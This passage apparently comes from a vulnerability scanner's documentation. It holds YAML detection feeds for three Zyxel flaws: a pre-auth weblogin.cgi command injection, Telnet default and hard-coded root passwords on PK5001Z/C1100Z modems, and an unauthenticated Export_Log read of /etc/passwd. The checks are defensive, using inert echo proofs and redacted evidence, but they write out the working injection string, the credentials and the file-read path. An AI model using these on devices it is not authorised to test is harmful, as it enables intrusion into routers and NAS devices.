per-run echo whose fixed prefix and random token are separated by an empty
command substitution — echo NOCTIS$()<token> — and confirms the vulnerability
only when the response contains the collapsed, joined NOCTIS<token> for this
exact run. A patched device (login form / 403) or a target that merely reflects
the payload with $() intact does not fire. No real command is run and no file
is read.
cves: [CVE-2020-9054]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [zyxel, nas, command-injection, rce, pre-auth, weblogin, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-9054"
- "https://www.kb.cert.org/vuls/id/498544"
- "https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml"
steps:
# 0 — per-run token: rand_hex(16) -> 32 lowercase hex chars. Fresh every run,
# so a constant-marker or replayed response cannot satisfy the condition.
- id: gen-token
action: script
store_as: tok
code: |
rand_hex(16)
# 1 — the expected collapsed marker for THIS run: NOCTIS immediately followed
# by the token, i.e. what the device prints only after the shell evaluates
# the empty $() between them. Used as the anti-reflection condition below.
- id: gen-marker
action: script
store_as: marker
code: |
"NOCTIS" + tok
# 2 — inject the inert echo pre-auth. The quoted username is closed by the
# first single quote; `echo NOCTIS$()<token>` then runs (the space is %20
# so the request line parses). Verbatim HTTP/1.0 via tcp_connect because the
# payload's shell metacharacters must not be URL-normalised; TLS is wrapped
# automatically for https targets.
- id: inject
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/weblogin.cgi?username=admin';echo%20NOCTIS$(){{tok}};'&password=x HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# 3 — confirm command execution. The regex proves the NOCTIS prefix and a
# 32-hex token are *adjacent* (so the empty $() collapsed — a reflected
# payload keeps NOCTIS$()<token> non-adjacent and fails). The condition
# pins it to this run's exact token, so a constant marker cannot match.
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "stridx(resp.banner, marker) >= 0"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Zyxel weblogin.cgi command injection confirmed: injected echo NOCTIS$()<token> collapsed to the per-run marker in the response, proving pre-auth command execution. Response: {{resp.banner}}"
stop: trueZyXEL PK5001Z / C1100Z Modem Telnet Backup Account and Hard-coded Root Password
| CVE | CVE-2016-10401 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | default-credentials — Default credentials |
| Services | telnet |
| Detection | script, set_var, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zyxel/CVE-2016-10401.yaml |
ZyXEL PK5001Z and C1100Z DSL modems deployed by CenturyLink and Qwest accept a Telnet login as admin with the ISP default passwords CenturyL1nk, CentryL1nk or QwestM0dem, and their `su` accepts the hard-coded root password zyad5001 (CVE-2016-10401). The check requires the PK5001Z or BCM963268 login greeting, then logs in as admin with each password. A login is confirmed when the shell computes the sum of two random numbers sent in an `echo` command, and only when a random password for admin is refused. It then runs `su` with zyad5001 and reports root access when `id -u` returns 0.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{acct.user}}on the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{acct.pass}}on the open socket - Sends
echo NOCTIS$(({{proof.a}}+{{proof.b}}))U$(id -u 2>/dev/null || whoami)Zon the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- … and 25 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10401
- https://www.exploit-db.com/exploits/43105
- https://forum.openwrt.org/viewtopic.php?id=62266
Feed source — tests/vulnerabilities/zyxel/CVE-2016-10401.yaml
# ZyXEL PK5001Z / C1100Z (CenturyLink, Qwest) DSL modems — backup Telnet
# account admin with ISP default passwords, and the hard-coded root password
# "zyad5001" accepted by `su` (CVE-2016-10401). Exploited in 2018 by the
# DoubleDoor IoT botnet.
#
# Ported from OpenVAS/Greenbone NVT
# 2017/gb_zyxel_modems_default_telnet_credentials.nasl
# (OID 1.3.6.1.4.1.25623.1.0.112100, GPL-2.0-only): require "PK5001Z login:"
# or "BCM963268 Broadband Router" in the Telnet banner; for each password
# CenturyL1nk, CentryL1nk, QwestM0dem log in as admin, send `whoami` and report
# when the reply contains "admin"; then send `su` + "zyad5001" and
# `cat /etc/zyfwinfo`, and report the root password when the reply holds
# "ZyXEL Communications Corp.".
#
# Deviations from the NASL (stronger detection, documented in the PR):
# * QoD 97 proof: the logged-in shell evaluated `echo NOCTIS$((a+b))`
# (two random integers) and printed the sum, which is never in what we
# send. The NASL's `whoami` =~ "admin" also matches the terminal echo of
# the user name or a rejected login, so it can report a failed login.
# * Root proof: after `su` + "zyad5001" the shell must print `NOCTISU0Z` for
# `echo NOCTISU$(id -u)Z` (uid 0; `whoami` = root when the firmware has
# no `id` applet), instead of a file read. `su` is only
# tried when the first echo showed a non-zero uid, so a login that is
# already root cannot be credited with the su password.
# * Accept-any-password guard: after a successful login, a second login
# as admin with a random password is made; when it also reaches a shell
# (honeypot, broken login), nothing is reported. QoD 97 needs login to
# actually reject it ("Login incorrect" or a new login prompt); when the
# control gives no clear answer (connection refused, very slow login) the
# proof is downgraded to QoD 75.
# * Prompt-only fallback (QoD 75): a shell prompt after the password but no
# echo output (vendor CLI without arithmetic expansion).
# * Late reads for a greeting, password prompt, or command output that come
# after noctis's 500 ms read window.
#
# Nothing is changed on the device: only `echo` and `id -u` run. At most one
# wrong-password login (the control) is made, and only after a default login
# already worked. category: default-credentials so operators can exclude
# credential logins.
uid: 439d0167-ff42-4fae-99c2-900316955908
name: "ZyXEL PK5001Z / C1100Z Modem Telnet Backup Account and Hard-coded Root Password"
description: |
ZyXEL PK5001Z and C1100Z DSL modems deployed by CenturyLink and Qwest accept
a Telnet login as admin with the ISP default passwords CenturyL1nk,
CentryL1nk or QwestM0dem, and their `su` accepts the hard-coded root
password zyad5001 (CVE-2016-10401). The check requires the PK5001Z or
BCM963268 login greeting, then logs in as admin with each password. A login
is confirmed when the shell computes the sum of two random numbers sent in
an `echo` command, and only when a random password for admin is refused.
It then runs `su` with zyad5001 and reports root access when `id -u`
returns 0.
cves: [CVE-2016-10401]
cvss: 8.8
severity: high
category: default-credentials
confidence_base: 0.30
tags: [zyxel, pk5001z, c1100z, centurylink, modem, router, telnet, default-credentials, hardcoded-credentials, backdoor, intrusive]
services: [telnet]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-10401"
- "https://www.exploit-db.com/exploits/43105"
- "https://forum.openwrt.org/viewtopic.php?id=62266"
steps:
# Random control password and the shell arithmetic proof.
- id: gen-proof
action: script
store_as: proof
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), ctl_pw: "noctis" + rand_str(14) }
# ------------------------------------------- one iteration per password
# The whole group below runs once per password; a finding (stop: true) ends it.
- id: init-gate
action: set_var
loop:
over:
- {user: "admin", pass: "CenturyL1nk"}
- {user: "admin", pass: "CentryL1nk"}
- {user: "admin", pass: "QwestM0dem"}
var: acct
var_name: gate
var_value: false
- id: init-shell
action: set_var
var_name: shell
var_value: false
- id: init-proof-ok
action: set_var
var_name: proof_ok
var_value: false
- id: init-ctl-ok
action: set_var
var_name: ctl_ok
var_value: false
- id: init-su-ok
action: set_var
var_name: su_ok
var_value: false
- id: init-su-note
action: set_var
var_name: su_note
var_value: ""
- id: init-late
action: set_var
var_name: late
var_value: {response: ""}
- id: init-out
action: set_var
var_name: tn_out
var_value: ""
- id: init-su-out
action: set_var
var_name: su_out
var_value: ""
- id: init-user-late
action: set_var
var_name: r_user_late
var_value: {response: ""}
- id: init-tail-late
action: set_var
var_name: r_tail_late
var_value: {response: ""}
- id: init-uid-zero
action: set_var
var_name: uid_zero
var_value: false
- id: init-ctl-rej
action: set_var
var_name: ctl_rej
var_value: false
- id: init-su
action: set_var
var_name: s_su
var_value: {sent: false, response: ""}
- id: init-su-late
action: set_var
var_name: s_su_late
var_value: {response: ""}
- id: init-su-asked
action: set_var
var_name: su_asked
var_value: false
- id: init-su-pass
action: set_var
var_name: s_pass
var_value: {sent: false, response: ""}
- id: init-su-id
action: set_var
var_name: s_id
var_value: {response: ""}
- id: init-su-tail
action: set_var
var_name: s_tail
var_value: {response: ""}
- id: init-ctl-late
action: set_var
var_name: c_late
var_value: {response: ""}
- id: init-ctl-out
action: set_var
var_name: ctl_out
var_value: ""
- id: init-su-tail-late
action: set_var
var_name: s_tail_late
var_value: {response: ""}
- id: open
action: tcp_open
handle: tn
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# No "login:" in the first read: wait and read again (a zero-byte write
# only triggers the read).
- id: late-banner-wait
action: sleep
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"login:\") == \"\")"
duration_ms: 2000
- id: late-banner
action: tcp_send
handle: tn
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"login:\") == \"\")"
send: ""
timeout_secs: 10
store_as: late
# Product gate: "PK5001Z login:", or the "BCM963268 Broadband Router"
# banner followed by "Login:" (C1100Z firmware).
- id: gate-check
action: script
condition: "conn.connected == true"
store_as: gate
code: |
let g = "";
if type_of(conn.banner) == "string" { g += conn.banner; }
if type_of(late.response) == "string" { g += late.response; }
let lg = tolower(g);
strstr(lg, "login:") != "" && (strstr(lg, "pk5001z login:") != "" || strstr(lg, "bcm963268 broadband router") != "")
- id: send-user
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{acct.user}}\r\n"
timeout_secs: 10
store_as: r_user
# "Password:" not in the first read (slow device): wait and read again.
- id: late-password-wait
action: sleep
condition: "gate == true && (type_of(r_user.response) != \"string\" || strstr(tolower(r_user.response), \"password\") == \"\")"
duration_ms: 2000
- id: late-password
action: tcp_send
handle: tn
condition: "gate == true && (type_of(r_user.response) != \"string\" || strstr(tolower(r_user.response), \"password\") == \"\")"
send: ""
timeout_secs: 10
store_as: r_user_late
# The password is only sent once "Password:" was asked for.
- id: password-prompt
action: script
condition: "gate == true"
store_as: gate
code: |
let p = "";
if type_of(r_user.response) == "string" { p += r_user.response; }
if type_of(r_user_late.response) == "string" { p += r_user_late.response; }
strstr(tolower(p), "password") != ""
- id: send-pass
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{acct.pass}}\r\n"
timeout_secs: 10
store_as: r_pass
- id: send-echo
action: tcp_send
handle: tn
condition: "gate == true"
send: "echo NOCTIS$(({{proof.a}}+{{proof.b}}))U$(id -u 2>/dev/null || whoami)Z\r\n"
timeout_secs: 10
store_as: r_echo
- id: wait-output
action: sleep
condition: "gate == true"
duration_ms: 1000
# Zero-byte write: read whatever the shell printed after the last read.
- id: flush
action: tcp_send
handle: tn
condition: "gate == true"
send: ""
# Drain read: usually nothing is left, and a read waits up to
# timeout_secs for a first byte — keep it short.
timeout_secs: 3
store_as: r_tail
- id: collect
action: script
condition: "gate == true"
store_as: tn_out
code: |
let out = "";
for r in [r_pass, r_echo, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
# Neither the sum nor a rejection yet (slow login): wait longer, read again.
- id: late-output-wait
action: sleep
condition: "gate == true && strstr(tn_out, proof.marker) == \"\" && strstr(tolower(tn_out), \"incorrect\") == \"\""
duration_ms: 2500
- id: late-output
action: tcp_send
handle: tn
condition: "gate == true && strstr(tn_out, proof.marker) == \"\" && strstr(tolower(tn_out), \"incorrect\") == \"\""
send: ""
timeout_secs: 10
store_as: r_tail_late
- id: collect-late
action: script
condition: "gate == true && type_of(r_tail_late.response) == \"string\""
store_as: tn_out
code: |
tn_out + r_tail_late.response
# Prompt-only evidence: the text after the password ends a line with a
# shell / CLI prompt ("$", "#", ">") and holds no rejection or new login
# prompt at the start of a line ("Last login: ..." does not count).
- id: check-shell
action: script
condition: "gate == true"
store_as: shell
code: |
let o = tolower(tn_out);
ereg("(?m)[#$>]\\s*$", tn_out) && strstr(o, "incorrect") == "" && !ereg("(?m)^\\s*(pk5001z )?login:", o)
- id: check-proof
action: script
condition: "gate == true"
store_as: proof_ok
code: |
strstr(tn_out, proof.marker) != ""
# The same echo printed the uid: "<marker>U0Z" means the login is already
# root, so `su` would prove nothing.
- id: check-uid
action: script
condition: "proof_ok == true"
store_as: uid_zero
code: |
strstr(tn_out, proof.marker + "U0Z") != "" || strstr(tn_out, proof.marker + "UrootZ") != ""
# ------------------------------ hard-coded root password through `su`
- id: su
action: tcp_send
handle: tn
condition: "proof_ok == true && uid_zero == false"
send: "su\r\n"
timeout_secs: 10
store_as: s_su
- id: su-prompt-late-wait
action: sleep
condition: "proof_ok == true && uid_zero == false && (type_of(s_su.response) != \"string\" || strstr(tolower(s_su.response), \"password\") == \"\")"
duration_ms: 1500
- id: su-prompt-late
action: tcp_send
handle: tn
condition: "proof_ok == true && uid_zero == false && (type_of(s_su.response) != \"string\" || strstr(tolower(s_su.response), \"password\") == \"\")"
send: ""
timeout_secs: 10
store_as: s_su_late
- id: su-asked
action: script
condition: "proof_ok == true && uid_zero == false"
store_as: su_asked
code: |
let p = "";
if type_of(s_su.response) == "string" { p += s_su.response; }
if type_of(s_su_late.response) == "string" { p += s_su_late.response; }
strstr(tolower(p), "password") != ""
- id: su-pass
action: tcp_send
handle: tn
condition: "su_asked == true"
send: "zyad5001\r\n"
timeout_secs: 10
store_as: s_pass
# Reads the effective uid without changing anything.
- id: su-id
action: tcp_send
handle: tn
condition: "su_asked == true && s_pass.sent == true"
send: "echo NOCTISU$(id -u 2>/dev/null || whoami)Z\r\n"
timeout_secs: 10
store_as: s_id
- id: su-wait
action: sleep
condition: "su_asked == true && s_pass.sent == true"
duration_ms: 1500
- id: su-flush
action: tcp_send
handle: tn
condition: "su_asked == true && s_pass.sent == true"
send: ""
# Drain read: usually nothing is left, and a read waits up to
# timeout_secs for a first byte — keep it short.
timeout_secs: 3
store_as: s_tail
- id: su-collect
action: script
condition: "su_asked == true && s_pass.sent == true"
store_as: su_out
code: |
let out = "";
for r in [s_pass, s_id, s_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
# A wrong su password takes seconds to be refused: read once more.
- id: su-late-wait
action: sleep
condition: "su_asked == true && s_pass.sent == true && egrep(\"NOCTISU[0-9a-z_-]*Z\", su_out) == \"\""
duration_ms: 3500
- id: su-late
action: tcp_send
handle: tn
condition: "su_asked == true && s_pass.sent == true && egrep(\"NOCTISU[0-9a-z_-]*Z\", su_out) == \"\""
send: ""
timeout_secs: 10
store_as: s_tail_late
- id: su-check
action: script
condition: "su_asked == true"
store_as: su_ok
code: |
let out = su_out;
if type_of(s_tail_late.response) == "string" { out += s_tail_late.response; }
strstr(out, "NOCTISU0Z") != "" || strstr(out, "NOCTISUrootZ") != ""
- id: su-note
action: set_var
condition: "su_ok == true"
var_name: su_note
var_value: " `su` then accepted the hard-coded root password 'zyad5001' (the shell then ran as root)."
- id: close
action: tcp_close
handle: tn
# ---------------------------------- control: same user, random password
- id: ctl-open
action: tcp_open
handle: ctl
port: "{{port}}"
condition: "shell == true || proof_ok == true"
read_banner: true
timeout_secs: 10
store_as: ctl_conn
- id: ctl-late-wait
action: sleep
condition: "(shell == true || proof_ok == true) && ctl_conn.connected == true && (type_of(ctl_conn.banner) != \"string\" || strstr(tolower(ctl_conn.banner), \"login:\") == \"\")"
duration_ms: 2000
- id: ctl-late
action: tcp_send
handle: ctl
condition: "(shell == true || proof_ok == true) && ctl_conn.connected == true && (type_of(ctl_conn.banner) != \"string\" || strstr(tolower(ctl_conn.banner), \"login:\") == \"\")"
send: ""
timeout_secs: 10
- id: ctl-user
action: tcp_send
handle: ctl
condition: "shell == true || proof_ok == true"
send: "{{acct.user}}\r\n"
timeout_secs: 10
store_as: c_user
- id: ctl-pass
action: tcp_send
handle: ctl
condition: "shell == true || proof_ok == true"
send: "{{proof.ctl_pw}}\r\n"
timeout_secs: 10
store_as: c_pass
- id: ctl-echo
action: tcp_send
handle: ctl
condition: "shell == true || proof_ok == true"
send: "echo NOCTIS$(({{proof.a}}+{{proof.b}}))U$(id -u 2>/dev/null || whoami)Z\r\n"
timeout_secs: 10
store_as: c_echo
- id: ctl-wait-output
action: sleep
condition: "shell == true || proof_ok == true"
duration_ms: 1000
- id: ctl-flush
action: tcp_send
handle: ctl
condition: "shell == true || proof_ok == true"
send: ""
# Drain read: usually nothing is left, and a read waits up to
# timeout_secs for a first byte — keep it short.
timeout_secs: 3
store_as: c_tail
- id: ctl-collect
action: script
condition: "shell == true || proof_ok == true"
store_as: ctl_out
code: |
let out = "";
for r in [c_pass, c_echo, c_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
# Neither a shell nor a rejection yet: login answers a wrong password only
# after its failure delay (about 3 s). Wait and read again — as long as
# the login's own late read, so a slow accept-any shell is still seen.
- id: ctl-late-output-wait
action: sleep
condition: "(shell == true || proof_ok == true) && strstr(ctl_out, proof.marker) == \"\" && strstr(tolower(ctl_out), \"incorrect\") == \"\" && !ereg(\"(?m)^\\\\s*(pk5001z )?login:\", tolower(ctl_out)) && !ereg(\"(?m)[#$>]\\\\s*$\", ctl_out)"
duration_ms: 3000
- id: ctl-late-output
action: tcp_send
handle: ctl
condition: "(shell == true || proof_ok == true) && strstr(ctl_out, proof.marker) == \"\" && strstr(tolower(ctl_out), \"incorrect\") == \"\" && !ereg(\"(?m)^\\\\s*(pk5001z )?login:\", tolower(ctl_out)) && !ereg(\"(?m)[#$>]\\\\s*$\", ctl_out)"
send: ""
timeout_secs: 10
store_as: c_late
- id: ctl-close
action: tcp_close
handle: ctl
- id: ctl-collect-late
action: script
condition: "(shell == true || proof_ok == true) && type_of(c_late.response) == \"string\""
store_as: ctl_out
code: |
ctl_out + c_late.response
# Fail-closed: the random password counts as rejected only when login said
# so ("Login incorrect", or a new login prompt at the start of a line).
- id: ctl-rejected
action: script
condition: "shell == true || proof_ok == true"
store_as: ctl_rej
code: |
let o = tolower(ctl_out);
strstr(o, "incorrect") != "" || ereg("(?m)^\\s*(pk5001z )?login:", o)
# The random password reached a shell (the sum, or a prompt with no
# rejection): honeypot / broken login, no finding.
- id: ctl-check
action: script
condition: "shell == true || proof_ok == true"
store_as: ctl_ok
code: |
strstr(ctl_out, proof.marker) != "" || (ctl_rej == false && ereg("(?m)[#$>]\\s*$", ctl_out))
# ------------------------------------------------------------- findings
- id: finding-shell
action: match
source: tn_out
pattern: "NOCTIS[0-9]+"
condition: "proof_ok == true && ctl_ok == false && ctl_rej == true"
on_match:
finding:
title: "ZyXEL PK5001Z/C1100Z Telnet backup account {{acct.user}}:{{acct.pass}}"
description: "The ZyXEL modem logged in the backup account '{{acct.user}}' over Telnet with the ISP default password '{{acct.pass}}', and its shell evaluated an arithmetic `echo` sent by the scanner, while a random password was rejected (CVE-2016-10401).{{su_note}}"
remediation: "Change the admin password and the root password of the modem (or install firmware that removes the backdoor account), disable Telnet on the WAN and LAN sides when it is not needed, and filter TCP/23 from untrusted networks."
confidence_delta: 0.65
qod: 97
evidence: "Telnet login {{acct.user}}:{{acct.pass}} accepted, shell printed {{proof.marker}} for `echo NOCTIS$(({{proof.a}}+{{proof.b}}))` (random password rejected).{{su_note}} Output: {{tn_out}}"
stop: true
# The shell proof worked but the control login gave no clear answer
# (refused connection, connection limit, very slow login): still a login
# with a default password, reported at a lower QoD.
- id: finding-shell-control-unknown
action: match
source: tn_out
pattern: "NOCTIS[0-9]+"
condition: "proof_ok == true && ctl_ok == false && ctl_rej == false"
on_match:
finding:
title: "ZyXEL PK5001Z/C1100Z Telnet backup account {{acct.user}}:{{acct.pass}}"
description: "The ZyXEL modem logged in the backup account '{{acct.user}}' over Telnet with the ISP default password '{{acct.pass}}' and its shell evaluated an arithmetic `echo` sent by the scanner. A second login with a random password gave no clear answer, so a login that accepts any password could not be ruled out (CVE-2016-10401).{{su_note}}"
remediation: "Change the admin password and the root password of the modem (or install firmware that removes the backdoor account), disable Telnet on the WAN and LAN sides when it is not needed, and filter TCP/23 from untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "Telnet login {{acct.user}}:{{acct.pass}} accepted, shell printed {{proof.marker}} for `echo NOCTIS$(({{proof.a}}+{{proof.b}}))`; random-password control inconclusive.{{su_note}} Output: {{tn_out}}"
stop: true
- id: finding-prompt
action: match
source: tn_out
pattern: "[#$>]"
condition: "proof_ok == false && shell == true && ctl_ok == false && ctl_rej == true"
on_match:
finding:
title: "ZyXEL PK5001Z/C1100Z Telnet backup account {{acct.user}}:{{acct.pass}}"
description: "The ZyXEL modem logged in the backup account '{{acct.user}}' over Telnet with the ISP default password '{{acct.pass}}' and showed a command prompt, while a random password was rejected. The output of the arithmetic `echo` was not captured (CVE-2016-10401)."
remediation: "Change the admin password and the root password of the modem (or install firmware that removes the backdoor account), disable Telnet on the WAN and LAN sides when it is not needed, and filter TCP/23 from untrusted networks."
confidence_delta: 0.50
qod: 75
evidence: "Telnet login {{acct.user}}:{{acct.pass}} accepted, command prompt shown (random password rejected): {{tn_out}}"
stop: trueZyxel zhttpd Export_Log Unauthenticated File Read
| CVE | CVE-2023-28770, CVE-2023-28769, CVE-2022-45440 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/zyxel/zyxel-export-log-file-read.yaml |
Tests Zyxel routers and CPEs whose zhttpd web server exposes the Export_Log CGI without authentication. The feed requests /Export_Log?/etc/passwd; a vulnerable device streams the file named in the query string, and a passwd line with uid 0 in the reply confirms the file read. A control request for an absent random file must not return a passwd file, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read; account names, password fields and gecos are redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET /Export_Log?/etc/passwd - Checks
passwd_r.bodyfor(?m)^[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]:[^:\r\n]*:([^:\r\n]*:[^:\r\n]*)… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /Export_Log?/etc/passwd.noctis-absent-{{oob_token}} - Checks
ctrl_r.bodyfor(?m)^[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]: - Checks
prooffor^<redacted>:<redacted>:0:0:<redacted>:→ finding QoD 75: Zyxel zhttpd Export_Log Unauthenticated File Read (CVE-2023-28770)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-28770
- https://nvd.nist.gov/vuln/detail/CVE-2023-28769
- https://nvd.nist.gov/vuln/detail/CVE-2022-45440
- https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/
- https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities
- https://www.rapid7.com/db/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce/
Feed source — tests/vulnerabilities/zyxel/zyxel-export-log-file-read.yaml
# Zyxel zhttpd Export_Log unauthenticated file read — CVE-2023-28770
#
# On Zyxel DX5401-B0 and other ZCFG-based CPE/router firmwares (SEC Consult
# advisory, Dec 2022), the web server zhttpd exposes the CGI "Export_Log"
# without authentication and treats the query string as the absolute path of
# the file to stream back: GET /Export_Log?/etc/passwd returns /etc/passwd.
# Fixed in V5.17(ABYO.1)C0 (DX5401-B0); several affected models are EoL.
#
# Detection (benign, read-only): GET /Export_Log?/etc/passwd and match the
# file CONTENT — a passwd line with uid 0. QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - The NASL matches "root:.*:0:[01]:" only. ZCFG firmwares run their admin
# accounts (supervisor/admin) as uid 0, so any "<name>:<pw>:0:[01]:" line
# is accepted.
# - A control request for an absent random file (its name still contains
# etc/passwd) must come back without a passwd line, so a blanket responder
# or honeypot is not reported (fail-closed: no control reply, no finding).
# - The NASL needs its Zyxel product detection first; this feed probes the
# fixed Export_Log path directly.
# - Account names, password hashes and gecos never reach the finding (only
# home:shell are kept). /data/zcfg_config.json (holds the supervisor
# secret, used by public exploits) is never requested.
#
# CVEs: the NASL lists CVE-2022-45440 (local ftpd symlink issue), CVE-2023-28769
# (zhttpd/libclinkc.so overflows) and CVE-2023-28770 (Export_Log file read).
# Only CVE-2023-28770 (NVD CVSS v3.1 7.5) is what this request proves; the two
# others stay in the feed-level list for tracking/exclusion, and the finding
# names only CVE-2023-28770.
#
# Ported from OpenVAS/Greenbone NVT 2022/zyxel/gb_zyxel_devices_mult_vuln_dec22_active.nasl
# (GPL-2.0-only). Request also matches the Metasploit module
# exploit/linux/http/zyxel_lfi_unauth_ssh_rce (Export_Log?/<path>).
uid: 635ca24a-6511-4487-ad16-102220042596
name: "Zyxel zhttpd Export_Log Unauthenticated File Read (CVE-2023-28770)"
description: |
Tests Zyxel routers and CPEs whose zhttpd web server exposes the Export_Log
CGI without authentication. The feed requests /Export_Log?/etc/passwd; a
vulnerable device streams the file named in the query string, and a passwd
line with uid 0 in the reply confirms the file read. A control request for an
absent random file must not return a passwd file, so a server that serves the
same content on every request is not reported. Only the world-readable
/etc/passwd is read; account names, password fields and gecos are redacted
from the evidence.
cves: [CVE-2023-28770, CVE-2023-28769, CVE-2022-45440]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [zyxel, zhttpd, router, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-28770"
- "https://nvd.nist.gov/vuln/detail/CVE-2023-28769"
- "https://nvd.nist.gov/vuln/detail/CVE-2022-45440"
- "https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/"
- "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-multiple-vulnerabilities"
- "https://www.rapid7.com/db/modules/exploit/linux/http/zyxel_lfi_unauth_ssh_rce/"
# OpenVAS/Greenbone NASL 2022/zyxel/gb_zyxel_devices_mult_vuln_dec22_active.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Read /etc/passwd through Export_Log ──────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "/Export_Log?/etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body (names, hashes) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)^[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
condition: "passwd_r.status == 200"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_r.status == 200 && passwd_m.matched && passwd_m.captures.len() > 0 {
"<redacted>:<redacted>:0:0:<redacted>:" + passwd_m.captures[0]
} else { "" }
store_as: proof
# ── Control: absent random file — must NOT come back as a passwd file ────
- id: control
action: http_request
method: GET
path: "/Export_Log?/etc/passwd.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?m)^[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
condition: 'proof != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: proof
pattern: "^<redacted>:<redacted>:0:0:<redacted>:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
cves: [CVE-2023-28770]
title: "Zyxel zhttpd Export_Log Unauthenticated File Read (CVE-2023-28770)"
description: "An unauthenticated GET /Export_Log?/etc/passwd returned the content of /etc/passwd (a uid 0 account line), while the same request for an absent file did not."
remediation: "Update the Zyxel firmware to the fixed release listed in the Zyxel security advisory (e.g. V5.17(ABYO.1)C0 for DX5401-B0), replace end-of-life models, and do not expose the device web interface to untrusted networks."
confidence_delta: 0.55
qod: 75
evidence: "GET /Export_Log?/etc/passwd returned /etc/passwd; control for an absent file returned no passwd content ({{proof}})"
stop: true